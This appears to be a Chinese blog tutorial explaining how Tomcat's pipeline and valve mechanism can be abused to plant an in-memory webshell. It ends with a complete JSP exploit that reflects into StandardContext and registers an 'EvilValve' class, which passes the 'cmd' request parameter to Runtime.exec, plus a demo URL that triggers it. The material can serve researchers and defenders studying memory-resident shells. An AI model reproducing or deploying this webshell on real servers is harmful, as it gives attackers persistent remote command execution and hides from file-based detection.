Tomcat-value内存马
一.什么是value?
tomcat管道机制:
tomcat对来自客户端的请求做处理的时候,请求响应对象会先通过StandardEngine,然后再到StandardHost,紧接着StandContext,最后到StandardWrapper交给servlet,完成整个消息的处理
而消息在每个容器之间流转的时候,需要经过一些阀门处理,而这些阀门就是value,同样有四个基础阀门对应着每个容器,分别是StandardEngineValve,StandardHostValve,StandardContextValue,StandardWrapperValue
而除了这些基础阀门,tomcat是允许开发人员自行添加一些其它的阀门对消息进行相对应的处理(可以理解为对应的业务逻辑)
消息在不同容器之间的流转就是管道pipeline,既然可以人为添加value,那这里就有了可操作性,我们可以添加恶意的value来去进行shell
并且在每个容器的value(s)中,value是以单链表存储的,末端永远都是basic,每次添加新的value都会添加在单链表的前面
二.流程分析

pipeline中会有一个最基础的value,叫做basic,是位于整个value链的最后端也就是最后执行(在业务上面的表现是封装了具体的请求处理和输出响应)
首先我们先去看一Pipeline接口,因为value是Pipeline的一个部分

发现里面就有一个addvalue方法用来添加value
又因为addvalue的实现类是Pipeline,所以我们需要找一个可以获取它的方法
查找用法之后,发现了一个特别熟悉的类StandardContext,导入了这个Pipeline

然后我们就直接在StandardContext里面全局搜索look look~

然后发现getPipeline,字面意思,然后我们跟进去看一下,发现返回的就是一个pipeline

然后我们看一下StandardContext中使用了getPipeline方法的getAuthenticator,这个方法的作用就是遍历pipeline管道中的所有value,当检测到value存在的话,强转成Authenticator输出
所以其实在这里我们能直接调用getPipeline
StandardContext.getPipeline = StandardPipeline; // 二者等价
所以到这里大致流程就已经清楚了:
- 反射获取StandardContext
- 编写恶意的value
- 然后通过StandardContext.getPipeline.addValue将恶意value注册进去
三.最后的exp:
<%--
Created by IntelliJ IDEA.
User: Le'novo
Date: 2025/2/25
Time: 15:58
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>value内存马</title>
</head>
<body>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%
class EvilValve extends ValveBase {
@Override
public void invoke(Request request,Response response)throws IOException ,ServletException{
System.out.println("111");
try {
Runtime.getRuntime().exec(request.getParameter("cmd"));
}catch(Exception e){
}
}
}
%>
<%
Field reqf=request.getClass().getDeclaredField("request");
reqf.setAccessible(true);
Request req=(Request) reqf.get(request);
StandardContext standardContext=(StandardContext) req.getContext();
standardContext.getPipeline().addValve(new EvilValve());
out.println("inject sucess");
%>
</body>
</html>
然后jsp访问即可执行命令:
http://localhost:8080/servlet_war_exploded/value.jsp?cmd=calc

四:Filter和value的区别:
主要的区别就是作用的地方不一样
value在最一开始的地方就分析了是在StandardEngine,StandardHost,StandardContext,StandardWrapper之间的起到的一个阀门的作用,其实和filter过滤器也差不都
而filter是在servlet里面发挥作用的,一个wrapper是对应一个servlet,而wrapper是四个子容器的最后一步(listener---->filter---->servlet.service)
“一个 Context 对应于一个 Web 应用,可以包含多个 Wrapper。”
“一个 Wrapper 对应一个 Servlet。负责管理 Servlet”

浙公网安备 33010602011771号